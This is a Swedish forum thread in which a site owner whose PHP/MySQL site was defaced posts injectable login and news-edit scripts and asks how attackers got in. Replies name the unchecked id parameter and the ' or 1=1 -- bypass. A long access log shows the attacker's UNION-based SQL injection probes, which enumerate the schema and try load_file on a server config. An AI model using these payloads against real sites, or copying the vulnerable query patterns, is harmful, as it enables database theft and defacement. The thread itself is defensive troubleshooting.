Min sida hackad, sql-injection

Någon har varit inne och röjt på en sida som jag gjort. Jag misstänker genom nån form av SQL-injection.

Sory Admin this site has been hacked by r3d Line anD AlberTi

Gretz to IHG KTN

Proud to be Albanian
Your security is 0

Kan någon titta igenom login-scriptet nedan och se vad som är fel.

PHP är version 4.4.8 på servern och MYSQL är 4.0.24

<?php # Script 7.7 - login.php
session_start();

$rubrik='login';
	
include_once ('../include/header.php');

echo '<h2>'. $rubrik . '</h2>';

	
if (isset($_POST['submit'])) {

	function escape_data ($data) {
		global $dbc;
		if (ini_get('magic_quotes_gpc')) {
			$data = stripslashes($data);
		}
		return mysql_real_escape_string($data, $dbc);
	}
	$message = NULL;
	if (empty($_POST['username'])) {
		$u = FALSE;
		$message .= '<p class="red">Du glömde användarnamn.</p>';
	} else {
		$u = escape_data($_POST['username']);
	}
	if (empty($_POST['password'])) {
		$p = FALSE;
		$message .= '<p class="red">Du glömde lösenord.</p>';
	} else {
		$p = escape_data($_POST['password']);
	}
	
	if ($u && $p) { // If everything's OK.
		$query = "SELECT user_id, username, userlevel FROM tbl_users WHERE username='$u' AND password=md5('$p')";		
		$result = @mysql_query ($query);
		$row = mysql_fetch_array ($result, MYSQL_NUM); 
		if ($row) { 
				
				// Start the session, register the values & redirect.
				
				$_SESSION['username'] = $row[1];
				$_SESSION['userlevel'] = $row[2];
				//header ("Location:  http://" . $_SERVER['HTTP_HOST']  . "/admin/login.php");
				//exit();
				
		} else {
			$message = '<p class="red">Användarnamn och/eller lösenord stämmer inte.</p>'; 
		}
	
	} else {
		$message .= '<p class="red">Försök igen.</p>';		
	}
}

if (isset($message)) {

	echo $message;

}

if (isset($_SESSION['username'])) {

echo "<p>Du är inloggad, {$_SESSION['username']}!</p>";
echo '<p><a href="logout.php">Logga ut</a></p>';

} else {

?>

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
<p>
Skriv in användarnamn och lösenord i fälten nedan:
</p>
<p>
<label>Användarnamn:</label>
<input type="text" name="username" size="40" maxlength="20" value="<?php if (isset($_POST['username'])) echo $_POST['username']; ?>" />
</p>
<p>
<label>Lösenord:</label>
<input type="password" name="password" size="40" maxlength="20" />
</p>
<p>
<input type="submit" name="submit" value="Login" />
</p>
</form>
<!-- End of Form -->
<?php

}
include_once ('../include/footer.php');
?>

Du har inga andra SQL-satser på sidan?

erciz skrev:

Du har inga andra SQL-satser på sidan?

Jo här är sidan nyhet_edit.php som de använt för att ändra nyheterna:

<?php
session_start(); // Start the session.

// If no session is present, redirect the user.
if (!isset($_SESSION['userlevel'])) {
	header ("Location:  http://" . $_SERVER['HTTP_HOST'] . "/admin/denied.php");
	exit(); // Quit the script.
}

$rubrik = "editera nyheten";
include_once ('../include/header.php');
echo '<h2>'. $rubrik . '</h2>';

$id = $_GET['id'];

		
if (isset($_POST['submit'])) { // Handle the form.
	// Create a function for escaping the data.
	function escape_data ($data) {
		global $dbc; // Need the connection.
		if (ini_get('magic_quotes_gpc')) {
			$data = stripslashes($data);
		}
		return mysql_real_escape_string($data, $dbc);
	} // End of function.

	

	
	$message = NULL; // Create an empty new variable.
	
	
	// Kolla rubrik.
	if (empty($_POST['rubrik'])) {
		$r = FALSE;
		$message .= '<p class="red">Du glömde fylla i rubrik!</p>';
	} else {
		$r = escape_data($_POST['rubrik']);
	}

	// Check for a username.
	if (empty($_POST['nyhet'])) {
		$n = FALSE;
		$message .= '<p class"red">Du glömde fylla i nyhet!</p>';
	} else {
		$n = escape_data($_POST['nyhet']);
	}

	
	if ($r && $n) { // If everything's OK.

		// Make the query.
		$query = "UPDATE tbl_nyheter SET rubrik = '$r', nyhet = '$n' where nyhet_id = $id";		
		$result = @mysql_query ($query); // Run the query.
		if ($result) { // If it ran OK.
		
	
			echo '<p>Nyheten uppdaterades</p>';
			echo '<p><a href="index.php">Tillbaka till nyheter '.Chr(187).'</a></p>';
			include ('../include/footer.php'); // Include the HTML footer.
			exit(); // Quit the script.
			
		} else { // If it did not run OK.
			$message = '<p class="red">Databasfel. Kontakta webmaster</p><p class="red">' . mysql_error() . '</p>'; 
		}		
		
	

	}

} // End of the main Submit conditional.

// Print the error message if there is one.
if (isset($message)) {

	echo $message;
	

}

if (is_numeric($id)) {

$query = "SELECT * FROM tbl_nyheter WHERE nyhet_id = $id";
$result = @mysql_query ($query); // Run the query.
$num = mysql_num_rows ($result); // 
	
	if ($num == 1) { // Om det finns en nyhet med detta ID

$row = mysql_fetch_array($result);
}
}

echo "<p><a href='nyheter_tabort.php?id=".$id."&amp;bildnamn=".$row["bildnamn"]."'>\n";
echo "Ta bort nyheten <img src='../include/images/papperskorg.gif' alt='Ta bort' width='13' height='12' border='0' /></a></p>\n";
echo "<p>\n";
if ($row["bild"] == 'n') {
echo "<p>\n";
echo "<a href='bild_ny.php?id=".$id."'>\n";
echo "Lägg till en bild <img src='../include/images/bild.gif' alt='Ta bort' width='14' height='14' border='0' /></a>\n";
echo "</p>\n";
} else {
echo "<p>\n";
echo '<img src="../filer/nyheter/tn/tn_'.$row["bildnamn"].'">';
echo "</p>\n";
echo "<p>\n";
echo "<a href='bild_tabort.php?id=".$id."&amp;bildnamn=".$row["bildnamn"]."'>\n";
echo "Ta bort bilden <img src='../include/images/papperskorg.gif' alt='Ta bort' width='13' height='12' border='0' /></a>\n";
echo "</p>\n";
}

?>
  <form action="<?= $_SERVER['PHP_SELF']; ?>?id=<?= $row["nyhet_id"]; ?>" method="post" name="check" id="check">

  <p>
  <label>Ursprungligen inlagd av: <?= $row["anvandare"] . ' ' .strftime('%e %B %Y kl. %H:%M', strtotime($row['datum']));?></label>
    </p>
    <p>
	<label>Rubrik:</label>
      <input type="text" name="rubrik" value="<?= $row["rubrik"]; ?>" size="40" maxlength="255"></td>
    </p>

	    <p>
 
    <label>Nyhet:</label>
      <textarea name="nyhet" cols="50" rows="10"><?= $row["nyhet"]; ?></textarea></td>
 
    </p>

    <p>
  
	  <input type="submit" name="submit"  value="Slutför">&nbsp;
	  <input type="button" onClick="gatill('index.php')" name="knapp" value="Avbryt"> 
	  </p>
 
 

 </Form>
 
 <?php
include_once ('../include/footer.php'); // Use the HTML footer file.

?>

header.php
footer.php
mysqlconnect.php

övriga filer till scriptet login.php ovan om det kan vara till hjälp. Det blir långt hoppas ni orkar läsa igenom det.

Visst måste de lyckats logga in? Alla sidor med editeringsfunktioner börjar med:

<?php
session_start(); // Start the session.

// If no session is present, redirect the user.
if (!isset($_SESSION['userlevel'])) {
	header ("Location:  http://" . $_SERVER['HTTP_HOST'] . "/admin/denied.php");
	exit(); // Quit the script.
}
?>

header.php

massa html...
	
	<?php
	
	if ($lightbox == 'yes') {
	
		echo '<script type="text/javascript" src="js/prototype.js"></script>';
		echo '<script type="text/javascript" src="js/scriptaculous.js?load=effects"></script>';
		echo '<script type="text/javascript" src="js/lightbox.js"></script>';
		echo '<link rel="stylesheet" href="css/lightbox.css" type="text/css" media="screen" />';
		
	}
	
	?>

html...

<?php

error_reporting(E_ALL);
ini_set("display_errors", "1");
setlocale( LC_ALL, 'sv_SE.ISO8859-1' ); 
// eller 
//setlocale( LC_ALL, 'swedish' ); 
// eller 
//setlocale( LC_ALL, 'sv_SE' );

require_once ('../mysql/mysql_connect.php'); // Connect to the database.
?>

html...
					
<?php
//Start special-länk

$result_sp = mysql_query("SELECT special_id,namn,anvandare FROM tbl_special WHERE aktiv = 'j' LIMIT 1");
$num_sp = mysql_num_rows ($result_sp); // Hur många inlägg??

	
if ($num_sp > 0) { // If it ran OK, display the records.
$row_sp = mysql_fetch_array($result_sp, MYSQL_NUM);

	echo "<li><a href='../special/' target='_blank'>".strtolower($row_sp[1])."</a>";
	
	if (isset($_SESSION['userlevel'])) {
		echo "<a href='../special_edit/special_edit.php?id=".$row_sp[0]."'>\n";
		echo "<img src='../include/images/edit.gif' alt='Editera' width='15' height='12' border='0' /></a>\n";
		}
	
	echo "</li>\n";

	} else { // 
		if (isset($_SESSION['userlevel'])) {
		echo "<li><a href='../special/' target='_blank'>special</a>";
		echo "<a href='../special_edit/special_edit.php?id=1'>\n";
		echo "<img src='../include/images/edit.gif' alt='Editera' width='15' height='12' border='0' /></a>\n";
		echo "</li>\n";
		}
	}
mysql_free_result ($result_sp);

			
?>

footer.php

html...
	
						
<?php
			
			
$result_sk = mysql_query("SELECT * FROM tbl_kalender WHERE datum >= CURDATE() ORDER BY datum ASC LIMIT 2");
$num_sk = mysql_num_rows ($result_sk); // Hur många inlägg??

	
if ($num_sk > 0) { // If it ran OK, display the records.
	
	while($row_sk = mysql_fetch_array($result_sk, MYSQL_NUM)) {	
	echo "<p>\n";
	echo "<a href='../kalender/event.php?id=".$row_sk[0]."'>";
	echo substr(stripslashes($row_sk[4]),0,20);
	if (strlen($row_sk[4]) > 20) {
	echo "...\n";
	}
	echo "</a></p>\n";
	echo  "<p><em>".stripslashes($row_sk[3])."</em><br /><em>".strftime('%e %B %Y kl. %H:%M', strtotime($row_sk[7]))."</em></p>\n";
	//echo "<p>" , nl2br(stripslashes($row_sk[5])), "</p>\n";
	//echo "<p><a href='../kalender/event.php?id=".$row_sk[0]."'>Läs mer ". Chr("187")."</a></p>\n";
	}
	
	} else { // Om det inte finns någon konsert.
	
		echo '<p>Det finns inget i kalendern.</p>'; 
		
	}
mysql_free_result ($result_sk);

			
			
$result_bl = mysql_query("SELECT * FROM tbl_blogg ORDER BY fldDatum DESC LIMIT 1");
$num_bl = mysql_num_rows ($result_bl); // Hur många inlägg??

	
if ($num_bl > 0) { // If it ran OK, display the records.
$row_bl = mysql_fetch_array($result_bl, MYSQL_NUM);

		
	echo "<p>\n";
	echo "<a href='../blogg/'>";
	echo substr(stripslashes($row_bl[2]),0,22);
	if (strlen($row_bl[2]) > 22) {
	echo "...\n";
	}
	echo "</a></p>\n";
	echo  "<p><em>Skrivet av: ".stripslashes($row_bl[1])."</em></p><p><em>".strftime('%e %B %Y kl. %H:%M', strtotime($row_bl[4]))."</em></p>\n";

	echo "<p><a href='../blogg/'>Läs mer ". Chr("187")."</a></p>\n";
	
	} else { // Om det inte finns någon blogg.
		echo '<p>Det finns ingen blogg.</p>'; 
		
	}
mysql_free_result ($result_bl);

html...
			
			
$result_gl = mysql_query("SELECT album_id,titel FROM tbl_bildgalleri_album ORDER BY datum DESC LIMIT 3");
$num_gl = mysql_num_rows ($result_gl); // Hur många inlägg??

	
	if ($num_gl > 0) { // If it ran OK, display the records.
		while($row_gl = mysql_fetch_array($result_gl, MYSQL_NUM)) {
			echo "<p>\n";
			echo "<a href='../bildgalleri/galleri.php?id=".$row_gl[0]."&amp;titel=".$row_gl[1]."'>";
			echo substr(stripslashes($row_gl[1]),0,22);
			if (strlen($row_gl[1]) > 22) {
			echo "...\n";
			}
			echo "</a></p>\n";
		}
	} else { // Om det inte finns några bilder.
		echo '<p>Det finns inget bildgalleri.</p>'; 
		
	}
	

mysql_free_result ($result_gl);

html...
			
			
$result_lf = mysql_query("SELECT rubrik FROM tbl_media WHERE kategori = 'ljudfil' ORDER BY datum DESC LIMIT 3");
$num_lf = mysql_num_rows ($result_lf); // Hur många inlägg??

	
	if ($num_lf > 0) { // If it ran OK, display the records.
		while($row_lf = mysql_fetch_array($result_lf, MYSQL_NUM)) {
			echo "<p>\n";
			echo "<a href='../media/media.php?kategori=ljudfiler'>";
			echo substr(stripslashes($row_lf[0]),0,22);
			if (strlen($row_lf[0]) > 22) {
			echo "...\n";
			}
			echo "</a></p>\n";
		}
	} else { 
		echo '<p>Det finns ingen ljudfil.</p>'; 
		
	}
	

mysql_free_result ($result_lf);

html...
			
			
$result_vf = mysql_query("SELECT rubrik FROM tbl_media WHERE kategori = 'video' ORDER BY datum DESC LIMIT 3");
$num_vf = mysql_num_rows ($result_vf); // Hur många inlägg??

	
	if ($num_vf > 0) { // If it ran OK, display the records.
		while($row_vf = mysql_fetch_array($result_vf, MYSQL_NUM)) {
			echo "<p>\n";
			echo "<a href='../media/media.php?kategori=video'>";
			echo substr(stripslashes($row_vf[0]),0,22);
			if (strlen($row_vf[0]) > 22) {
			echo "...\n";
			}
			echo "</a></p>\n";
		}
	} else { 
		echo '<p>Det finns ingen video.</p>'; 
		
	}
	

mysql_free_result ($result_vf);

$result_datum = mysql_query("SELECT datum FROM tbl_uppdaterad LIMIT 1");
$row_datum = mysql_fetch_array($result_datum, MYSQL_NUM);

		
		if (isset($_SESSION['userlevel'])) {
		echo " <a href='../datum/uppdatera.php'>senast uppdaterad ".$row_datum[0]."</a>";
		} else {
		echo "senast uppdaterad ".$row_datum[0];
		}

mysql_free_result ($result_datum);
mysql_close(); // Close the database connection.
?>
</body>
</html>

mysql_connect.php

<?php

define ('DB_USER', 'xxxxx');
define ('DB_PASSWORD', 'xxxxx');
define ('DB_HOST', 'xxxxxx');
define ('DB_NAME', 'xxxxxxx');

$dbc = @mysql_connect (DB_HOST, DB_USER, DB_PASSWORD) OR die ('Could not connect to MySQL: ' . mysql_error() );
mysql_select_db (DB_NAME) OR die ('Could not select the database: ' . mysql_error() );
?>

Har bara snabbt ögnat igenom och kanske är jag blind, men:

$id = $_GET['id'];

$id skickas väl in i databasen utan någon kontroll? :)

EDIT: Syftade alltså på den första UPDATE-satsen i nyhet_edit.php . Längre ned kontrollerar du ju om ID är numeriskt, men då är väl skadan redan skett, antar jag :)

nidron skrev:

Har bara snabbt ögnat igenom och kanske är jag blind, men:

$id = $_GET['id'];

$id skickas väl in i databasen utan någon kontroll? :)

EDIT: Syftade alltså på den första UPDATE-satsen i nyhet_edit.php . Längre ned kontrollerar du ju om ID är numeriskt, men då är väl skadan redan skett, antar jag :)

Jo, jag har insett det och ändrat på alla ställen men faktum kvarstår att man måste vara inloggad för att ens kunna köra den sidan eller hur?

$query = "SELECT user_id, username, userlevel FROM tbl_users WHERE username='$u' AND password=md5('$p')";

Skulle det inte vara möjligt att ta sig förbi inloggningen genom att skicka in tex:

' or 1=1 --

i username?

Då blir sqlfrågan:
SELECT user_id, username, userlevel FROM tbl_users WHERE username='' or 1=1 --' AND password=md5('lösen')

Eller fungera inte -- för att kommentera bort en rad i MySQL?

yohpops skrev:

$query = "SELECT user_id, username, userlevel FROM tbl_users WHERE username='$u' AND password=md5('$p')";

Skulle det inte vara möjligt att ta sig förbi inloggningen genom att skicka in tex:

' or 1=1 --

i username?

Då blir sqlfrågan:
SELECT user_id, username, userlevel FROM tbl_users WHERE username='' or 1=1 --' AND password=md5('lösen')

Eller fungera inte -- för att kommentera bort en rad i MySQL?

Den klassikern ska ju inte fungera eftersom jag escapar datan. Om jag skippar
mysql_real_escape_string får jag ett felmeddelande på servern men man blir inte inloggad:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/wwwroot/sites/sidan.net/html/admin/login.php on line 41

Nu har du kanske sparat över filerna, men kolla annars när filerna är sparade. Är de av senare datum än de du har på din dator kanske "de albanska mumintrollen" kommit in på din sida på annat sätt, via FTP eller liknande.

Om du nu lägger tid på SQL-koden förändrar det inte saken.

***

Eller ja, byt till webbhotellet Binero. Då vet du garanterat att det är din kod det är fel på och inte någon stans i servern eller annat...

Kollade igenom lite loggar, här är en sida där jag glömt kolla att ID är numeriskt. Den sidan kräver inte heller att man är inlogggad. Nedan följer vad de försökt med:

91.187.116.68 - - [24/Jul/2009:01:42:01 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union+Select+0x787878756E696F6E787878-- HTTP/1.1" 200 3467
91.187.116.68 - - [24/Jul/2009:01:42:01 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union+Select+0x787878756E696F6E787878+,0x787878756E696F6E787878-- HTTP/1.1" 200 3467
91.187.116.68 - - [24/Jul/2009:01:42:01 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union+Select+0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878-- HTTP/1.1" 200 3467
91.187.116.68 - - [24/Jul/2009:01:42:01 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union+Select+0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878-- HTTP/1.1" 200 3467
91.187.116.68 - - [24/Jul/2009:01:42:02 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union+Select+0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878-- HTTP/1.1" 200 3467
91.187.116.68 - - [24/Jul/2009:01:42:02 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union+Select+0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878-- HTTP/1.1" 200 3467
91.187.116.68 - - [24/Jul/2009:01:42:02 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union+Select+0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878-- HTTP/1.1" 200 3467
91.187.116.68 - - [24/Jul/2009:01:42:02 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union+Select+0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878-- HTTP/1.1" 200 3467
91.187.116.68 - - [24/Jul/2009:01:42:02 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union+Select+0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878-- HTTP/1.1" 200 3467
91.187.116.68 - - [24/Jul/2009:01:42:02 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union+Select+0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878-- HTTP/1.1" 200 3467
91.187.116.68 - - [24/Jul/2009:01:42:02 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union+Select+0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878-- HTTP/1.1" 200 3467
91.187.116.68 - - [24/Jul/2009:01:42:02 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union+Select+0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878+,0x787878756E696F6E787878-- HTTP/1.1" 200 3400
91.187.116.68 - - [24/Jul/2009:01:42:03 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%201%20,2,3,4,5,6,7,8,9,10,11,12-- HTTP/1.1" 200 3347
91.187.116.68 - - [24/Jul/2009:01:42:03 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%200x76697369626C65313233343536373839313031313132313331313131%20,2,3,4,5,6,7,8,9,10,11,12-- HTTP/1.1" 200 3374
91.187.116.68 - - [24/Jul/2009:01:42:03 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%200x787878756E696F6E787878,2,3,4,5,6,7,8,9,10,11,12-- HTTP/1.1" 200 3357
91.187.116.68 - - [24/Jul/2009:01:42:03 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20UNHEX(HEX(CONCAT(0x5B6B65795D,USER(),0x5B6B65795D)))%20,2,3,4,5,6,7,8,9,10,11,12-- HTTP/1.1" 200 3385
91.187.116.68 - - [24/Jul/2009:01:42:03 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20UNHEX(HEX(CONCAT(0x5B6B65795D,version(),0x5B6B65795D)))%20,2,3,4,5,6,7,8,9,10,11,12-- HTTP/1.1" 200 3363
91.187.116.68 - - [24/Jul/2009:01:42:03 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20UNHEX(HEX(CONCAT(0x5B6B65795D,database(),0x5B6B65795D)%20))%20,2,3,4,5,6,7,8,9,10,11,12-- HTTP/1.1" 200 3368
91.187.116.68 - - [24/Jul/2009:01:42:03 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20UNHEX(HEX(CONCAT(0x5B6B65795D,load_file(0x2F6574632F617061636865322F617061636865322E636F6E66),0x5B6B65795D)%20))%20,2,3,4,5,6,7,8,9,10,11,12-- HTTP/1.1" 200 3346
91.187.116.68 - - [24/Jul/2009:01:42:05 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,schema_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.schemata+LIMIT%200,1-- HTTP/1.1" 200 3374
91.187.116.68 - - [24/Jul/2009:01:42:05 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,schema_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.schemata+LIMIT%201,1-- HTTP/1.1" 200 3368
91.187.116.68 - - [24/Jul/2009:01:42:05 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,schema_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.schemata+LIMIT%202,1-- HTTP/1.1" 200 3277
91.187.116.68 - - [24/Jul/2009:01:42:12 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,table_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.tables+where+table_schema=Concat(char(100),char(9Cool,char(109),char(101),char(100),char(105),char(97),char(97),char(114),char(116),char(101),char(115))+LIMIT%200,1-- HTTP/1.1" 200 3368
91.187.116.68 - - [24/Jul/2009:01:42:13 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,table_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.tables+where+table_schema=Concat(char(100),char(9Cool,char(109),char(101),char(100),char(105),char(97),char(97),char(114),char(116),char(101),char(115))+LIMIT%201,1-- HTTP/1.1" 200 3371
91.187.116.68 - - [24/Jul/2009:01:42:13 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,table_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.tables+where+table_schema=Concat(char(100),char(9Cool,char(109),char(101),char(100),char(105),char(97),char(97),char(114),char(116),char(101),char(115))+LIMIT%202,1-- HTTP/1.1" 200 3377
91.187.116.68 - - [24/Jul/2009:01:42:13 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,table_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.tables+where+table_schema=Concat(char(100),char(9Cool,char(109),char(101),char(100),char(105),char(97),char(97),char(114),char(116),char(101),char(115))+LIMIT%203,1-- HTTP/1.1" 200 3365
91.187.116.68 - - [24/Jul/2009:01:42:13 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,table_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.tables+where+table_schema=Concat(char(100),char(9Cool,char(109),char(101),char(100),char(105),char(97),char(97),char(114),char(116),char(101),char(115))+LIMIT%204,1-- HTTP/1.1" 200 3370
91.187.116.68 - - [24/Jul/2009:01:42:13 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,table_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.tables+where+table_schema=Concat(char(100),char(9Cool,char(109),char(101),char(100),char(105),char(97),char(97),char(114),char(116),char(101),char(115))+LIMIT%205,1-- HTTP/1.1" 200 3376
91.187.116.68 - - [24/Jul/2009:01:42:13 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,table_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.tables+where+table_schema=Concat(char(100),char(9Cool,char(109),char(101),char(100),char(105),char(97),char(97),char(114),char(116),char(101),char(115))+LIMIT%206,1-- HTTP/1.1" 200 3367
91.187.116.68 - - [24/Jul/2009:01:42:14 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,table_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.tables+where+table_schema=Concat(char(100),char(9Cool,char(109),char(101),char(100),char(105),char(97),char(97),char(114),char(116),char(101),char(115))+LIMIT%207,1-- HTTP/1.1" 200 3368
91.187.116.68 - - [24/Jul/2009:01:42:14 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,table_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.tables+where+table_schema=Concat(char(100),char(9Cool,char(109),char(101),char(100),char(105),char(97),char(97),char(114),char(116),char(101),char(115))+LIMIT%208,1-- HTTP/1.1" 200 3371
91.187.116.68 - - [24/Jul/2009:01:42:14 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,table_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.tables+where+table_schema=Concat(char(100),char(9Cool,char(109),char(101),char(100),char(105),char(97),char(97),char(114),char(116),char(101),char(115))+LIMIT%209,1-- HTTP/1.1" 200 3367
91.187.116.68 - - [24/Jul/2009:01:42:14 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,table_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.tables+where+table_schema=Concat(char(100),char(9Cool,char(109),char(101),char(100),char(105),char(97),char(97),char(114),char(116),char(101),char(115))+LIMIT%2010,1-- HTTP/1.1" 200 3366
91.187.116.68 - - [24/Jul/2009:01:42:14 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,table_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.tables+where+table_schema=Concat(char(100),char(9Cool,char(109),char(101),char(100),char(105),char(97),char(97),char(114),char(116),char(101),char(115))+LIMIT%2011,1-- HTTP/1.1" 200 3365
91.187.116.68 - - [24/Jul/2009:01:42:15 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,table_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.tables+where+table_schema=Concat(char(100),char(9Cool,char(109),char(101),char(100),char(105),char(97),char(97),char(114),char(116),char(101),char(115))+LIMIT%2012,1-- HTTP/1.1" 200 3367
91.187.116.68 - - [24/Jul/2009:01:42:15 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,table_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.tables+where+table_schema=Concat(char(100),char(9Cool,char(109),char(101),char(100),char(105),char(97),char(97),char(114),char(116),char(101),char(115))+LIMIT%2013,1-- HTTP/1.1" 200 3362
91.187.116.68 - - [24/Jul/2009:01:42:16 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,table_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.tables+where+table_schema=Concat(char(100),char(9Cool,char(109),char(101),char(100),char(105),char(97),char(97),char(114),char(116),char(101),char(115))+LIMIT%2014,1-- HTTP/1.1" 200 3367
